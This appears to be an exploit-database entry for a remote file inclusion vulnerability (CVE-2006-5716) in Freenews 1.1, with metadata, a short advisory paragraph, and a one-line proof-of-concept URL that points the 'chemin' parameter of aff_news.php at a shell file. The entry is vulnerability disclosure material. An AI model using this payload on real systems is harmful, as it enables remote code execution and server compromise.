Freenews 1.1 - 'Aff_News.php' Remote File Inclusion

Author: MoHaNdKo
type: webapps
platform: php
port: 0
date_added: 2006-10-30
date_updated: 2016-12-08
verified: 1
codes: CVE-2006-5716;OSVDB-31631
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source: https://www.securityfocus.com/bid/20795/info

Freenews is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/aff_news.php?chemin=shell.txt?